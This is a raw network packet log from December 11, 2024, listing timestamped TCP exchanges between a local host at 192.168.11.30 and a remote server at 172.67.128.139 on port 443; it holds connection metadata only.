Dec 11, 2024 12:16:08.545758009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.545878887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.545892954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.545907974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.545983076 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.546087980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.546309948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.546329975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.546453953 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.552489996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.552506924 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.552691936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.552711964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.552721977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.552740097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.552798033 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.552874088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.552892923 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.552957058 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553122044 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.553141117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553200006 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.553220034 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553335905 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.553344965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553580999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.553622961 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553637028 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553797960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.553881884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.553965092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.554023981 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.554033041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.554069042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.554208040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.554641962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.554656982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.554796934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.554905891 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.554929018 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.554943085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.555033922 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.555123091 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.555272102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.555279970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.555324078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.555454016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.555668116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.555676937 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.555684090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.555762053 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.555824041 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.555938005 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556096077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.556096077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.556107998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556158066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556248903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.556257010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556533098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.556562901 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556576014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556740999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.556829929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.556931973 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.556937933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.557008982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.557049036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.557131052 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.557140112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.557182074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.557365894 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.557498932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.557512999 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.557784081 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.557794094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.557856083 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.598438978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.733689070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.733715057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.733961105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.733973026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734000921 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734158039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734169960 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734221935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734342098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734375954 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734466076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734484911 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734582901 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734610081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734626055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734687090 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734791994 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734814882 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.734841108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.734865904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735013962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735061884 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735097885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735189915 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735335112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735349894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735476017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735517025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735542059 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735675097 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735764027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735779047 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735781908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735846043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.735862017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.735989094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.736038923 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736062050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736073017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.736082077 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736320972 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.736398935 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736418009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736489058 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.736504078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736571074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.736670017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.736690998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736816883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.736994982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737004042 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737087965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737134933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737154007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737375021 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737382889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737423897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737463951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737555981 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737567902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737633944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737726927 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737745047 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737802029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737812996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.737912893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.737994909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.738060951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.739413977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.739439964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.739603996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.739881039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.739881039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.739881039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.739907980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.739923000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.740001917 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.740029097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.740078926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.740092039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.740200043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.740441084 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.752882957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.752909899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.753106117 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.753160954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.753196955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.753221989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.753431082 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.753528118 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.753643990 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.753659964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.753727913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.753794909 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.753855944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.753866911 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754132986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754152060 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754184961 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.754219055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754358053 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.754473925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754497051 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754535913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.754560947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754631996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.754760027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754769087 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.754779100 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.754951954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755045891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755070925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755134106 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755141020 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755162954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755306005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755331039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755387068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755434036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755455017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755594015 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755610943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755659103 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755779982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.755923986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.755943060 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756148100 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756172895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756287098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756306887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756334066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756481886 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756494045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756541014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756558895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756588936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756660938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756670952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756731987 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756907940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756930113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.756977081 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.756983042 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757095098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.757200956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.757256031 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757273912 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757484913 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.757498980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757518053 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757566929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757613897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.757621050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757831097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757848978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.757872105 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.757884026 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.758029938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.758291006 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.767172098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767196894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767380953 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.767528057 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.767540932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767554998 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767741919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767777920 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767805099 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.767828941 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.767995119 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.767999887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768028975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768212080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.768238068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768342018 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.768412113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768429041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768701077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.768721104 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768743992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.768790007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.768910885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769041061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769136906 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769155979 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769473076 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769498110 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769581079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769598007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769623995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769742966 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769754887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769836903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769846916 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769855976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.769992113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.769994974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770082951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770092010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770147085 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770215988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770317078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770342112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770412922 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770412922 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770488977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770610094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770627022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770638943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770796061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.770853043 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.770875931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771032095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.771044016 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771147013 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.771220922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771239042 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771449089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.771478891 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771569014 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.771610022 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771754980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.771771908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771868944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771886110 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.771974087 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.771986008 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.772022963 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.772135019 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.772156000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.772175074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.772375107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.772399902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.772517920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.778080940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.778110027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.778310061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.778336048 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.778454065 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.778558016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.778656006 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.778712988 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.778882027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.778924942 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.778949976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779042006 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.779256105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779261112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.779275894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779514074 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779603958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779675007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.779684067 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779864073 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.779952049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780069113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.780101061 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780191898 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780200958 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.780494928 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780513048 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.780536890 CET	49840	443	192.168.11.30	172.67.128.139
